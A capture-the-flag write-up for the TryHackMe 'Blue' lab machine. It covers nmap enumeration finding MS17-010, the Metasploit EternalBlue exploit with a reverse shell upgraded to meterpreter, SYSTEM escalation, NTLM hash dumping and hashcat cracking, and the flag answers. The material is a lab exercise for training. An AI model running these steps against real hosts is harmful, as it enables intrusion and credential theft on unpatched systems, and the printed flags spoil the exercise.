TryHackMe - blue
Enumeration
IP: 10.10.61.181
$ nmap -sV 10.10.61.181
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-09 16:27 EST
Nmap scan report for 10.10.61.181
Host is up (0.16s latency).
Not shown: 991 closed ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3389/tcp open tcpwrapped
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49159/tcp open msrpc Microsoft Windows RPC
Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 92.34 seconds
$ nmap -vv -sS --script vuln 10.10.61.181
....
Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_ https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
....
Machine is vulnerable to ms17-010.
Exploitation
$ msfconsole -q
msf5> search ms17-010
msf5> use 3
msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOST 10.10.61.181
msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit
//background process with Ctrl-Z
msf5 exploit(windows/smb/ms17_010_eternalblue) > search shell_to_meterpreter
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 post/multi/manage/shell_to_meterpreter normal No Shell to Meterpreter Upgrade
msf5 exploit(windows/smb/ms17_010_eternalblue) > use 0
msf5 post(multi/manage/shell_to_meterpreter) > show options
msf5 post(multi/manage/shell_to_meterpreter) > set SESSION 1
msf5 post(multi/manage/shell_to_meterpreter) > exploit
msf5 post(multi/manage/shell_to_meterpreter) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell x64/windows Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation... 10.8.20.232:4444 -> 10.10.61.181:49181 (10.10.61.181)
2 meterpreter x86/windows NT AUTHORITY\SYSTEM @ JON-PC 10.8.20.232:4433 -> 10.10.61.181:49185 (10.10.61.181)
msf5 post(multi/manage/shell_to_meterpreter) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > shell
Process 3044 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
Gaining Access
C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>exit
meterpreter > ps
....
3024 668 TrustedInstaller.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\servicing\TrustedInstaller.exe
....
meterpreter > migrate 3024
[*] Migrating from 2640 to 3024...
[*] Migration completed successfully.
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::
//save NT of NTLM into hashes.db
$ hashcat -m 1000 -a 0 hashes.db /usr/share/wordlists/rockyou.txt --f
....
31d6cfe0d16ae931b73c59d7e0c089c0:
ffb43f0de35be4d9917ac0cc8ad57f8d:alqfna22
....
Jon’s password is alqfna22.
Finding Flags
meterpreter > cd C://
meterpreter > ls
Listing: C:\
============
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40777/rwxrwxrwx 0 dir 2009-07-13 23:18:56 -0400 $Recycle.Bin
40777/rwxrwxrwx 0 dir 2009-07-14 01:08:56 -0400 Documents and Settings
40777/rwxrwxrwx 0 dir 2009-07-13 23:20:08 -0400 PerfLogs
40555/r-xr-xr-x 4096 dir 2009-07-13 23:20:08 -0400 Program Files
40555/r-xr-xr-x 4096 dir 2009-07-13 23:20:08 -0400 Program Files (x86)
40777/rwxrwxrwx 4096 dir 2009-07-13 23:20:08 -0400 ProgramData
40777/rwxrwxrwx 0 dir 2018-12-12 22:13:22 -0500 Recovery
40777/rwxrwxrwx 4096 dir 2018-12-12 18:01:17 -0500 System Volume Information
40555/r-xr-xr-x 4096 dir 2009-07-13 23:20:08 -0400 Users
40777/rwxrwxrwx 16384 dir 2009-07-13 23:20:08 -0400 Windows
100666/rw-rw-rw- 24 fil 2018-12-12 22:47:39 -0500 flag1.txt
507411620/rw--w---- 446692146565644271 fif 14164114932-07-27 18:09:04 -0400 hiberfil.sys
507411620/rw--w---- 446692146565644271 fif 14164114932-07-27 18:09:04 -0400 pagefile.sys
meterpreter > cat flag1.txt
flag{access_the_machine}
Checked Jon’s desktop, found flag in his documents folder.
meterpreter > ls
Listing: C:\Users\Jon\Documents
===============================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40777/rwxrwxrwx 0 dir 2018-12-12 22:13:31 -0500 My Music
40777/rwxrwxrwx 0 dir 2018-12-12 22:13:31 -0500 My Pictures
40777/rwxrwxrwx 0 dir 2018-12-12 22:13:31 -0500 My Videos
100666/rw-rw-rw- 402 fil 2018-12-12 22:13:45 -0500 desktop.ini
100666/rw-rw-rw- 37 fil 2018-12-12 22:49:18 -0500 flag3.txt
meterpreter > cat flag3.txt
flag{admin_documents_can_be_valuable}
meterpreter > shell
C:\>dir flag* /s /p
//found flag2.lnk in C:\Users\Jon\AppData\Roaming\Microsoft\Windows\Recent
//contents said flag2.txt was in C:\Windows\System32\config\flag2.txt
//restarted deployment and logged back in with same exploit as before
C:\Windows\System32\config>type flag2.txt
type flag2.txt
flag{sam_database_elevated_access}